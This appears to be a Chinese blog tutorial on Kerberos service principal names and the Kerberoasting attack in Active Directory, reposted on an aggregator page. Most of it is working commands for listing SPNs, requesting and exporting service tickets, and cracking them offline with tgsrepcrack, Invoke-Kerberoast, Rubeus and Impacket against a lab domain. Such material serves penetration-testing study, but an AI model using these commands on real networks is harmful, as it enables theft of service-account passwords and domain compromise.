zoukankan      html  css  js  c++  java
  • Kerberos&SPN、Kerberoasting

    SPN简介

    SPN是服务器上所运行服务的唯一标识,每个使用kerberos的服务都需要一个SPN;一种注册在AD上机器账户下,另一种注册在域用户下,当一个服务权限为localsystem或者networkservice,则SPN注册在机器账户Computers下,当一个机器服务的权限为一个域用户,则SPN注册在域用户账户Users下
    
    格式:
    serviceclass/host:port/servicename
    serviceclass:服务名称,如smtp、dns等等
    host:FQDN&NETBIOS,如serversmtp.test.com&serversmtp
    如果服务运行在默认端口则端口可以省略
    

    注册

    setspn -A mysql/OWA2013.rootkit.org:3306  backup
    注册一个名为mysql的SPN,分配至backup用户
    
    setspn -S mysql/OWA2013.rootkit.org:3306  backup
    验证SPN不存在重复项后进行添加、该参数是用server08后系统开始默认提供
    

    SPN查询

    已知SPN也是通过ldap查询的,当前用户也必须是域用户或者机器用户
    setspn -q */*
    setspn -T rootkit.org -q */*
    

    关于域用户&机器用户注册的SPN,如下分别即可
    

    确认调用ldap协议
    

    Kerberoasting利用

    获得SPN修改权限后,能够为指定的域用户添加一个SPN,这样就可以随时获得目标的TGS,通过破解hash能够获得其用户口令
    

    寻找有价值的SPN

    注意这个模块只有域控上才有
    import-module ActiveDirectory
    get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
    

    powerview同样可查
    Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last
    

    kerberoast
    powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
    vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
    

    获得指定服务TGS

    $SPNName = 'MSSQLSvc/Srv-Web-Kit.rootkit.org'
    Add-Type -AssemblyNAme System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    

    导出凭证
    

    获得所以服务TGS
    Add-Type -AssemblyName System.IdentityModel  
    setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  
    

    破解凭证

    tgsrepcrack

    https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
    python3 tgsrepcrack.py 字典.txt 凭证.kirbi
    

    Invoke-Kerberoast

    https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1
    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
    

    Rubeus

    Rubeus.exe kerberoast
    

    Impacket

    GetUserSPNs_windows.exe -request -dc-ip 192.168.3.144 -debug rootkit.org/sqladmin
    

  • 相关阅读:
    画架构图
    做产品的方方面面
    Tomcat一个有意思的漏洞
    LinkedHashMap 作为一个 CacheMap
    Maven提高篇系列之五——处理依赖冲突
    javaweb获取项目路径的方法
    curl工具介绍和常用命令
    Spring事务管理(详解+实例)
    如何更好地使用Java 8的Optional
    input的type=file触发的相关事件
  • 原文地址:https://www.cnblogs.com/Yang34/p/14278011.html
Copyright © 2011-2022 走看看